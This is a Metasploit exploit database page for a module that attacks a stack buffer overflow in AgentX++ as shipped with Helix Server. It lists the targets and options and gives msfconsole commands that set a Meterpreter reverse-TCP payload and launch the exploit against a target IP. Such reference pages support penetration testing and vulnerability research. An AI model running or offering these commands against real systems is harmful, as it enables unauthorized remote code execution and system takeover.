AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow | Metasploit Exploit Database (DB)

AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow

This exploits a stack buffer overflow in the AgentX++ library, as used by various applications. By sending a specially crafted request, an attacker can execute arbitrary code, potentially with SYSTEM privileges. This module was tested successfully against master.exe as included with Real Network\'s Helix Server v12. When installed as a service with Helix Server, the service runs as SYSTEM, has no recovery action, but will start automatically on boot. This module does not work with NX/XD enabled but could be modified easily to do so. The address

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Exploit Rank

  • Good

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Helix Server v12 and v13 - master.exe (default)

Exploit Development


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Exploit Usage Information

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msf > use exploit/windows/misc/agentxpp_receive_agentx
msf exploit(agentxpp_receive_agentx) > show payloads
msf exploit(agentxpp_receive_agentx) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(agentxpp_receive_agentx) > set LHOST [MY IP ADDRESS]
msf exploit(agentxpp_receive_agentx) > set RHOST [TARGET IP]
msf exploit(agentxpp_receive_agentx) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 705)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)